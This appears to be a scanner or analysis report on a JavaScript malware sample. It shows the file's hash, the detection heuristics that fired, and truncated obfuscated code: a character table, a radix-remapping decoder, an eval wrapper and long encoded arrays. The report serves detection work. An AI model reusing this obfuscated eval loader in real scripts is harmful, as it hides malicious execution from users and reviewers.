Suspicious ^80% javascript-malware-collection Download

20151210_c34ea69997b8fbaa025a70dca14aad07.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-25613795e7a295cb6099fbcf43bfc8fab89ed88ee1f76d5fdbe32718a4048327c4c

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var jrZMhoVZQIxKY=[];
2fillJvY=(-538+538)/815;while(true){if(fillJvY>=(23987+205)/189){break;}jrZMhoVZQIxKY[fillJvY]=String.fromCharCode(fillJvY);fillJvY++;}
3function lDfIk(uetKnzBqfow,SHxAQpkrFGQxD,RwsthVhv){cXAD=parseInt(uetKnzBqfow,SHxAQpkrFGQxD);apQlE=cXAD.toString(RwsthVhv);return apQlE;}function kmkIHMqNIKxghUo(PZKHsBnvCtImFMRsU){eval(PZKHsBnvCtImFMRsU)}
4function cWyePKVNDVZTwYXWklGjDVoHDLflCboKTkqfHqgqkknMCRVdGgpxLo(mynqUOGsKjxBX,QDVDVMhRhzpLxo){ return jrZMhoVZQIxKY[lDfIk(mynqUOGsKjxBX[QDVDVMhRhzpLxo],(17156+519)/707,(8964+86)/905)];}
5function kBiwowH(huDaNucrkKntLYrsehoSvYuyyulIxKLqkeMc) {return !isNaN(parseFloat(huDaNucrkKntLYrsehoSvYuyyulIxKLqkeMc)) && isFinite(huDaNucrkKntLYrsehoSvYuyyulIxKLqkeMc);}
6function zwMKxttOkBZ(UCiurcau,IiPrAg){return UCiurcau.split(IiPrAg)}
7var w=[];w[0]="d";w[1]="a";w[2]="d";w[3]="a";w[4]="4i";w[5]="3m";w[6]="4e";w[7]="17";w[8]="41";w[9]="17";w[10]="2b";w …

Massive array index assignment line 8

8:4312… ";r[860]="4g";r[861]="4e";r[862]="4l";r[863]="17";r[864]="17";r[865]="4n";r[866]="d";r[867]="a";r[868]="17";r[869]="17";r[870]="17";r[871]="17";r[872]="17";r[873]="17";r[874]="17";r[875]="17";r[876]="17";r[877]="17";r[878]="45";r[879]="42";r[880]="17";r[881]="1f";r[882]="1f";r[883]="1f";r[884]="4a";r[885]="41";r[886]="4j";r[887]="17";r[888]="2i";r[889]="3m";r[890]="4g";r[891]="41";r[892]="1f";r[893]="1g";r …